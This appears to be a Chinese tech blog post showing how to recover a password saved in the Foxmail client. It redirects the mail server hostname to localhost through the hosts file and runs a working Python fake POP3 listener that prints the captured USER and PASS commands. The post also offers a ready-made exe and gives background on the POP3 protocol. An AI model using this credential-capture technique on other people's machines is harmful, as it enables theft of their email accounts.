当前位置:首页 > 技术知识 > 正文内容

利用python获取邮箱密码_python获取邮箱地址

maynowei8个月前 (09-18)技术知识117

大家好,在我们日常工作中经常会遇到邮箱密码忘记的情况,这个时候就得找IT部门去重置密码。本着自己动手丰衣足食的想法,今天我们就来看看如何利用python获取到本地foxmail设置的邮件登录密码。下面我们通过三步来实现获取邮箱登录密码。

第一步:获取foxmail配置的服务器地址

我们在账户设置里面找到收件人服务器复制出来备用。

第二步:修改hosts文件

在以下路径:windows\system32\drivers\etc 找到hosts文件利用记事本打开 输入127.0.01 xx.xxx.com(上面复制的收件服务器) 保存后备用。

第三步:利用python编写一个socket监控服务

具体代码如下:

import socket
if __name__ == "__main__":
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("127.0.0.1", 110))
    s.listen(1)
    print("ready")
    while 1:
        conn, addr = s.accept()
        print("connected by "+str(addr))
        conn.send("+OK, POP3 server is ready.\r\n".encode("UTF-8"))
        while 1:
            data=conn.recv(1024).decode("UTF-8")
            if(data.find("QUIT") == 0):
                conn.close()
                break
            else:
                if(data.find("USER") == 0 or
                        data.find("PASS") == 0):
                    print(data.strip())
                conn.send("+OK\r\n".encode("UTF-8"))

运行当前python程序,程序自动监控中,下面见证奇迹的时刻到了,当我们在foxmail中点击收件的时候,程序自动将用户名和密码显示出来了。

好了我们如愿以偿获取到了foxmail的密码,当然你需要将hosts中添加的文字删除不然你将无法正常收发邮件。

POP协议科普

协议支持离线邮件处理,当邮件发送到服务器后,电子邮件客户端会调用邮件客户端程序,下载所有未阅读的电子邮件(这种离线访问模式是一种存储转发服务).当邮件从邮件服务器发送到个人计算机上,同时邮件服务器会删除该邮件(但是很多POP3服务器都支持“下载邮件,服务器并不删除邮件”,也就是说在POP3中改进了POP协议).

命令响应

POP3客户向POP3服务器发送命令并等待响应,POP3命令采用命令行形式,用ASCII码表示。服务器响应是由一个单独的命令行组成或多个命令行组成,响应第一行以ASCII文本+OK或-ERR(OK指成功,-ERR指失败)指出相应的操作状态是成功还是失败。

三种状态

认证状态,处理状态和更新状态。当客户机与服务器建立连接时,客户机向服务器发送自己身份(这里指的是账户和密码)并由服务器成功确认,即客户端由认可状态转入处理状态,在完成列出未读邮件等相应的操作后客户端发出quit命令,退出处理状态进入更新状态,开始下载未阅读过的邮件到计算机本地之后最后重返认证状态确认身份后断开与服务器的连接。

感兴趣的小伙伴可以关注私信我领取已打包好的exe文件,只要修改下hosts文件就能直接获取到邮箱密码。

感谢小伙伴们的支持,希望得到大家的关注和点赞,我们下期见。



相关文章

Objective-c单例模式的正确写法「藏」

单例模式在iOS开发中可能算是最常用的模式之一了,但是由于oc本身的语言特性,想要写一个正确的单例模式相对来说比较麻烦,这里我就抛砖引玉来聊一聊iOS中单例模式的设计思路。关于单例模式更多的介绍请参考...

Win10桌面/手机版最深层次开发功能挖掘

IT之家讯 Win10开发者预览版为我们提供了一个Win10大框架的早期概览,使开发者与热心用户都可以提前感受Win10带来的新特性,尝试新工具,而作为开发者,最关心的莫过于Windows多平台通用应...

Navicat Premium 连接 Oracle 数据库

Navicat Premium是一个可多重连接的数据库管理工具,它可让你以单一程序同時连接到 MySQL、SQLite、Oracle 及 PostgreSQL 数据库,让管理不同类型的数据库更加方便。...

Oracle中泄露“天机”的TNS(在oracle中发出的下列查询)

数据库的安全是长期存在的问题。在目前大量的数据泄露事件以及漏洞面前,大家看到的大都是SQl注入、越权操作、缓冲区溢出等这些具体漏洞。往往却忽视了造成这些问题的前提,黑客想要入侵数据库一定会尝试获取数据...

Google前工程主管“入住”Oracle(google公司前台)

ZDNet至顶网服务器频道 10月11日 新闻消息:Oracle 已聘用了前 Snapchat 和 Google 工程部主管 Peter Magnusson,其主要的职责是运行一个被重新调整过的 of...

oracle和mysql的优缺点对比(oracle和mysql哪个简单)

oracle的优缺点优点:开放性:oracle 能所有主流平台上运行(包括 windows)完全支持所有工业标准采用完全开放策略使客户选择适合解决方案对开发商全力支持;可伸缩性,并行性:Oracle...